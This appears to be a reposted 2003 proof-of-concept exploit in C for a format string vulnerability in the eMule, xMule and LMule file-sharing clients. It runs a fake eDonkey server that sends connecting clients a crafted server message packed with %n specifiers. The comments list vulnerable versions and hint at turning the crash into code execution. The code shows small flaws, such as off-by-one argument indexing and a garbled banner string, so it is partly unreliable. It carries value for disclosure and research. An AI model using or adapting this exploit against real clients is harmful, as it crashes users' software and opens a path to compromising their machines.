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2003-09-01 eMule/xMule/LMule OP_SERVERMESSAGE Format String Exploit
 /*
 * eMule/xMule/LMule OP_SERVERMESSAGE Format String Vulnerability
 * (SecurityFocus BID 8443)
 * proof of concept code
 * version 1.0 (Aug 29 2003)
 *
 * by Rémi Denis-Courmont
 *
 * This vulnerability was found by:
 *   Stefan Esser <s.esser@e-matters.de>
 * whose original advisory may be fetched from:
 *   http://security.e-matters.de/advisories/022003.html
 *
 * Vulnerable:
 *  - eMule v0.29c -> wait for server connection timeout (!?! I need
help !?!)
 *  - xMule stable v1.4.3 -> crash
 *  - xMule unstable v1.5.6a -> crash
 *  - Lmule v1.3.1 (NOT tested) -> ???
 *
 *   There is something wrong with eMule 0.29c (exception handling) and
it
 * refuses to crash.
 *
 * Not vulnerable:
 *  - xMule stable v1.6.0,
 *  - eMule v0.30a.
 *
 *   As a format string vulnerability over a possibly large format input
 * buffer, experienced assembly coders (ie. NOT me) should be able to
exploit
 * this vulnerability (you can find as much as 2 mega-bytes available in
the
 * stack in the socket input buffer, and the message is also duplicated
on
 * the heap and can be as long as 65535 bytes). However, getting clients
to
 * connect to while not impossible, will be very very hard: Even though
many
 * clients adds current server of other clients to their own server lists,
so
 * that you can promote yourself as a server by actively connecting to
others,
 * it is unlikely that your "server" will be selected from the
list which
 * often exceeds 100 entries.
 *   Anyway, the following proof-of-concept is entirely passive, so you
will
 * probably only be able to test it against yourself (which is very fine,
 * because you usually are you only legal victim).
 */


/*****************************************************************************
 * Copyright (C) 2003  Rémi Denis-Courmont.  All rights reserved.    
       *
 *                                                                        
  *
 * Redistribution and use in source and binary forms, with or without     
  *
 * modification, are permitted provided that the following conditions     
  *
 * are met:                                                               
  *
 * 1. Redistributions of source code must retain the above copyright      
  *
 *    notice, this list of conditions and the following disclaimer.       
  *
 * 2. Redistributions in binary form must reproduce the above copyright   
  *
 *    notice, this list of conditions and the following disclaimer in the 
  *
 *    documentation and/or other materials provided with the distribution.
  *
 *                                                                        
  *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR   
  *
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES *
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
  *
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,       
  *
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
BUT  *
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF
USE, *
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY  
  *
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT    
  *
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF  *
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.      
  *

*****************************************************************************/

#include <stdio.h>
#include <stdint.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#include <netdb.h>

int gai_errno = 0;

void
gai_perror (const char *str)
{
if ((gai_errno == EAI_SYSTEM) || (gai_errno == 0))
perror (str);
else
fprintf (stderr, "%s: %s\n", str, gai_strerror (gai_errno));
}


int
socket_listen (const char *hostname, const char *servname)
{
struct addrinfo hints, *res;

hints.ai_family = PF_INET;
hints.ai_socktype = SOCK_STREAM;
hints.ai_protocol = 0;
hints.ai_flags = AI_PASSIVE;

if ((gai_errno = getaddrinfo (hostname, servname, &hints, &res)) == 0)
{
struct addrinfo *ptr;

for (ptr = res; ptr != NULL; ptr = ptr->ai_next)
{
int sock;

sock = socket (ptr->ai_family, ptr->ai_socktype,
ptr->ai_protocol);
if (sock != -1)
{
const int val = 1;

setsockopt (sock, SOL_SOCKET, SO_REUSEADDR,
&val, sizeof (val));
if (bind (sock, ptr->ai_addr, ptr->ai_addrlen)
 || listen (sock, INT_MAX))
close (sock);
else
{
/* success! */
freeaddrinfo (res);
return sock;
}
}
}
freeaddrinfo (res);
}
return -1;
}


int
send_server_message (int fd/*, const char *message*/)
{
/*
 * Note that eDonkey is an Intel-centric protocol that sends/receives
 * everything in counter-network-byte order (ie. low order first).
 */
uint8_t buf[] =
"\xE3" // protocol
"\x70\x01\x00\x00" // packet size
"\x38" // command (Server message)
"\x6D\x01" // message length (xMule ingores it, eMule reads it)
"%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n\n"
"Welcome to messmule, a proof-of-concept for:\n"
"eMule/xMule/Lmule OP_SERVERMESSAGE\n"
"Format String Vulnerability\n"
"%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n\n"
"If you can read this message from your Server info box,\n"
"your client is probably not affected by that vulnerability.\n"
"%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n\n"
;

return (send (fd, buf, sizeof (buf) - 1, 0) != (sizeof (buf) - 1));
}


static int
usage (const char *path)
{
printf (
"Syntax: %s [port [hostname|IP]]\n"
"        Attempt to crash eMule/xMule/LMule clients which will
connect to\n"
"        the specified server port (or 4661 by default), at the
local\n"
"        host address (or any available address by default)\n",
path);

return 2;
}


int
main (int argc, char *argv[])
{
puts ("eMule/xMule/LMule OP_SERVERMESSAGE "
"Format String Vulnerabilitytion Vulnerability\n"
"proof of concept code\n"
"Copyright (C) 2003 Rémi Denis-Courmont "
"<exploit@simutrans.fr.st>\n");
if (argc > 3)
return usage (argv[0]);
else
{
int listenfd;
const char *host, *port;

port = (argc < 2) ? "4661" : argv[2];
host = (argc < 3) ? NULL : argv[3];
printf ("Binding to [%s]:%s ...\n",
(host != NULL) ? host : "any", port);
listenfd = socket_listen (host, port);
if (listenfd == -1)
{
gai_perror (host);
return 1;
}

while (1)
{
int clientfd;

fputs ("Waiting for a client to connect ... ", stdout);
clientfd = accept (listenfd, NULL, 0);
if (clientfd == -1)
{
puts ("");
perror ("Error");
continue;
}
puts ("OK");
fputs ("Sending server message ... ", stdout);
if (send_server_message (clientfd))
{
puts ("");
perror ("Error");
}
else
puts ("Done");
close (clientfd);
}
}

return 0; /* dead code */
}
securitydot.net - 2003-09-01

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